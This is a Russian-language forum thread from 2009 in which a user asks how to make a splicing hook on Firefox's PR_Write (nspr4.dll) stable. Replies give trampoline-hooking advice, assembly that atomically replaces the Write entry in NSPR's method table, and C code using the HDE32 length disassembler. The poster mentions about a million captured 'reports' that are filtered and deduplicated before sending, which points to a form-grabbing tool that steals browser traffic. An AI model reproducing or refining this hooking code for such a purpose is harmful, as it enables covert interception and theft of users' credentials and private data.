Проблемы со сплайсингом

Тема в разделе "WASM.WIN32", создана пользователем gribodemon, 29 сен 2009.

  1. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Доброго времени суток!
    Я перехватываю PR_Write() из nspr4.dll (дистр. FF).
    Код для перехвата брал тут: http://forum.antichat.ru/showthread.php?p=368122

    Впринципе, функция-обработчик выглядит примерно так:

    Код (Text):
    1. INT __cdecl xPR_Write (PVOID fd, PVOID buf, INT amount) {
    2.  
    3.     // do stuff
    4.  
    5.     UnsetSplicingHook(lpPR_Write, bufPR_Write); // восстанавливаем первые 5 байт оригинальной функции
    6.  
    7.     // вызываем оригинальную функцию
    8.     INT res;
    9.     __asm {
    10.         mov     eax, amount
    11.         push    eax
    12.         mov     eax, buf
    13.         push    eax
    14.         mov     eax, fd
    15.         push    eax
    16.         call    lpPR_Write
    17.         mov     res, eax
    18.         add     esp, 12
    19.     }
    20.  
    21.     SetSplicingHook(lpPR_Write, xPR_Write, bufPR_Write); // снова сплайсим
    22.  
    23.     return res;
    24. }
    Однако, иногда, FF вылетает. Я думаю, что это связано с тем, что перехватываемая функция вызывается из многих потоков, и, походу, возникает коллизия.
    Как с этим бороться?
     
  2. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Я ещё пробовал обнести тело функции-обработчика в блок
    Код (Text):
    1. try{} catch(...) {};
    однако, FF вылетает практически сразу же.
     
  3. onSide

    onSide New Member

    Публикаций:
    0
    Регистрация:
    18 июн 2008
    Сообщения:
    476
    Чето я логики не могу понять, зачем снимать хук а потом опять устанавливать? Зачем такой изврат ?
    Если второй поток пытается снять хук, который уже снял первый поток что будет? Неизвстно)))
    Когда падает подключись отладчиком и посмотри где упало.
     
  4. dendi

    dendi New Member

    Публикаций:
    0
    Регистрация:
    3 сен 2007
    Сообщения:
    233
    PR_Write вызывается там где ты перехватываешь так часто, что багу ты не найдёшь в реализации. Она в дизайне.
     
  5. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Ну, собственно, как сделать-то лучше?
    Вот, есть оригинальная функция ... прописали мы туда JMP со своим адресом. При вызове, попадаем в функцию-перехватчик.
    Теперь вопрос - как вызвать оригинальную функцию из функции-перехватчика, не снимая хука?
     
  6. Guest

    Guest Guest

    Публикаций:
    0
    gribodemon
    А стоит ли? хуки поставить дело не долгое, а уже обработать траф будет в разы сложнее, раз есть проблемы с хуками, то дальше с такими знаниями лезть не стоит.
    Не бери всякие примеры, делай сам с нуля думая головой, схема такая:
    1. Подсчитываем размер.
    Дизассемблером длин узнаешь размер инструкций по интересующему тебя адресу, дизасмишь пока не найдешь себе минимум 5 байт.
    2. Создаем мостик.
    Копируешь эти инструкции с перехватываемого адреса в новое место, копировать надо грамотно, если там jmp short, то будут проблемы, если call near и jmp near/relative, то фиксишь по дельте, после этих инструкций еще ставишь jmp на место, которое ты не вырезал, т.е. например +5 байт от начала перехватываемой функции, если вырезано 5 байт для прыжка.
    3. Записываешь в вырезанный кусок прыжок на твою функцию перехватчик. Там выполняем все страшные действия, после чего прыгаем на мостик.
     
  7. onSide

    onSide New Member

    Публикаций:
    0
    Регистрация:
    18 июн 2008
    Сообщения:
    476
    Похоже такие темы всегда будут появлятся несмотря на разжеваность сабжа)))
    Оригинальные байты ты должен скопировать в какой-то буфер, а в конце этого буфера сделать джамп на остаток оригинальной ф-ции.
    Я не читал статью Грейта, но думаю у него это написано, а если не написано у него то написано в других статьях про сплайсинг. Читай :)
     
  8. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Ну да, сложнее. =)
    У меня уже около 1 млн. таких вот отчётов. Причём я отсеял различные запросы на получения мультимедийных данных, добавил бан по хостам... =)
     
  9. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Походу, можно вот так : http://www.cracklab.ru/f/index.php?action=vthread&forum=6&topic=10944

    Т.е. в 10-ти байтовый кусок памяти копируем первые 5 байт перехватываемой функции, после них ставим JMP на перехватываемую функцию + 5 байт. В начале перехватываемой функции ставим JMP на наш код, а уже из нашего кода делаем CALL на 10-ти байтовый кусок памяти.

    Вроде, должно работать. Да?
     
  10. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    im1111
    А дизассемблер длин нужен чтобы не случайно не "раскромсать" инструкции при "вырезании" первых 5-ти байт перехватываемой функции? Т.е. чтобы потом JMP из функции обработчика не приземлить на половину инструкции. Ты об этом?
     
  11. Guest

    Guest Guest

    Публикаций:
    0
    Да. Не придется ничего восстанавливать каждый раз и стабильность вырастет на порядок.
     
  12. CrystalIC

    CrystalIC New Member

    Публикаций:
    0
    Регистрация:
    26 июл 2008
    Сообщения:
    500
    Товарищи, вначале следует понять механизм, затем вбрать наилучшее решение для манипуляции им. Модификация кода это грубейшее решение в любом случае, её следует рассматривать в последнюю очередь, темболее как частный случай для фокса интерфейс опенсурсный и документирован.
    Касательно данного вопроса. Весь интерфейс фокса основан на методах, например https://developer.mozilla.org/en/PRIOMethods
    В секции данных нспр есть таблицы, это массивы методов. Каждый из них описан в этой таблице и вызывается экспортом, который является всеголишь заглушками. Решение - находим необходимую таблицу методов и атомарно заменяем в ней указатель на хэндлер. Таблицы в секции данных нспр. Указатели на таблицы возвращаются некоторыми функциями. Старый кусок кода, который выполняет захват метода, какраз .Write:
    Код (Text):
    1. NSPR_METHODS struct
    2. PRIOMethods PVOID ?
    3. PRTCPMethods    PVOID ?
    4. NSPR_METHODS ends
    5. PNSPR_METHODS typedef ptr NSPR_METHODS
    6.  
    7. NSPR_ENTRIES struct
    8. PR_GetFileMethods   PVOID ?
    9. PR_GetTCPMethods    PVOID ?
    10. NSPR_ENTRIES ends
    11.  
    12. ; Определяет две таблицы методов.
    13. ;
    14. iGetNsprMethods proc Methods:PNSPR_METHODS
    15. Local NsprImageBase:PVOID
    16. Local MethodsList:NSPR_ENTRIES
    17.     invoke iQueryNsprImageBase, addr NsprImageBase
    18.     test eax,eax
    19.     lea edx,MethodsList
    20.     jnz exit_
    21.     push edx
    22.     push TRUE
    23.     $PUSH_REF $MethodsList
    24.     push NsprImageBase
    25.     Call iImageQueryEntriesFromNameList
    26.     test eax,eax
    27.     jnz exit_
    28.     mov ecx,MethodsList.PR_GetFileMethods
    29.     mov edx,MethodsList.PR_GetTCPMethods
    30.     mov eax,STATUS_UNSUCCESSFUL
    31.     cmp byte ptr [ecx],0B8H
    32.     jne exit_
    33.     cmp byte ptr [edx],0B8H
    34.     jne exit_
    35.     push dword ptr [ecx + 1]
    36.     push dword ptr [edx + 1]
    37.     mov ecx,Methods
    38.     xor eax,eax
    39.     pop NSPR_METHODS.PRTCPMethods[ecx]
    40.     pop NSPR_METHODS.PRIOMethods[ecx]
    41. exit_:
    42.     ret
    43. $MethodsList:  
    44.     CHAR "PR_GetFileMethods",0
    45.     CHAR "PR_GetTCPMethods",0
    46.     CHAR 0
    47. iGetNsprMethods endp
    48.  
    49. PR_WRITE_INDEX  equ 3
    50.  
    51. ; Захват обработчика в таблице методов.
    52. ; Параметры:
    53. ; - DispatchTable указатель на таблицу методов.
    54. ; - NewEntry указатель на новый обработчик.
    55. ; - OldEntry указатель на переменную, принимающую адрес предыдущего обработчика.
    56. ; Хэндлер должен проверять значение переменной, содержащей указатель на оригинальный
    57. ; обработчик и если ноль, то выполнять цикл ожидания на этой переменной.
    58. ;
    59. iNsprRedirectionMethod proc DispatchTable:PVOID, NewEntry:PVOID, OldEntry:PVOID
    60.     mov edx,DispatchTable
    61.     xor eax,eax
    62.     mov ecx,NewEntry
    63.     lock cmpxchg dword ptr [edx + PR_WRITE_INDEX*4],eax
    64.     jz error_
    65.     lock cmpxchg dword ptr [edx + PR_WRITE_INDEX*4],ecx
    66.     mov ecx,eax
    67.     mov edx,OldEntry
    68.     xor eax,eax
    69.     lock cmpxchg dword ptr [edx],eax
    70.     lock cmpxchg dword ptr [edx],ecx
    71. exit_:
    72.     ret
    73. error_:
    74.     mov eax,STATUS_UNSUCCESSFUL
    75.     jmp exit_
    76. iNsprRedirectionMethod endp
     
  13. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    CrystalIC
    Сразу хотелось бы задать вопрос по коду.
    Вот, например, PR_Write, в некоторых случаях, почему-то вызывается по три раза с одним и тем же содержимым. Поэтому мне пришлось для каждого отчёта считать CRC32 перед отправкой =), чтобы не слать то, что уже было отослано.
    А вышепривидённый код не страдает таким недугом?
     
  14. onSide

    onSide New Member

    Публикаций:
    0
    Регистрация:
    18 июн 2008
    Сообщения:
    476
    Это он описал еще один способ перехвата ф-ции _Write. Вызыватся скорее всего будет точно также как и PR_Write. Ты бы сначала разобрался как оно все там работает перед тем как хукать, тем более исходники есть. А то так далеко не уйдешь...
     
  15. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Да, без дизасма длин тут не обойтись.

    Если в случае с перехватом функций из wininet.dll оно и прокатит (точно код не смотрел, но там три первых команды вначале функции, которые весят 2, 1 и 2 байта ... т.е. в сумме, ровно и получается 5 байт, чтобы поставить JMP с адресом на нашу функцию.

    А в случае с FF, нужно копировать не 5, а уже 6 байт от начала функции, ибо (привожу код начала функции PR_Write() ):

    В качестве дизасма длин я использовал HDE32 : http://vx.netlux.org/vx.php?id=eh04. Примерно так выглядит определение размера буфера, в который будем копировать начала перехватываемой функции:

    Код (Text):
    1.     // копируем начало функции по адресу lpOrgFunc
    2.     // используем disasm длин
    3.     DWORD szBuf = 64; // 64 - байта. таков размер буфера
    4.     ZeroMemory(pbOrgFuncBuf, szBuf);
    5.     DWORD i;
    6.     for (i = 0; i < szBuf; ) { // 5 bytes min (!)
    7.         hde32s hs;
    8.         hde32_disasm((LPVOID) ((DWORD)lpOrgFunc + i), &hs);
    9.         if ( hs.flags & F_ERROR )
    10.             break;
    11.         i += hs.len;
    12.         if (i >= 5)
    13.             break;
    14.     }
    15.     if ( (i < 5) || (i >= szBuf) )
    16.         return false;
    17.     // ok
    18.     DWORD szBufCode = i;
    szBufCode - размер буфера.
    lpOrgFunc - адрес перехватываемой функции.
     
  16. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Офигенно стабильно работает всё теперь. =)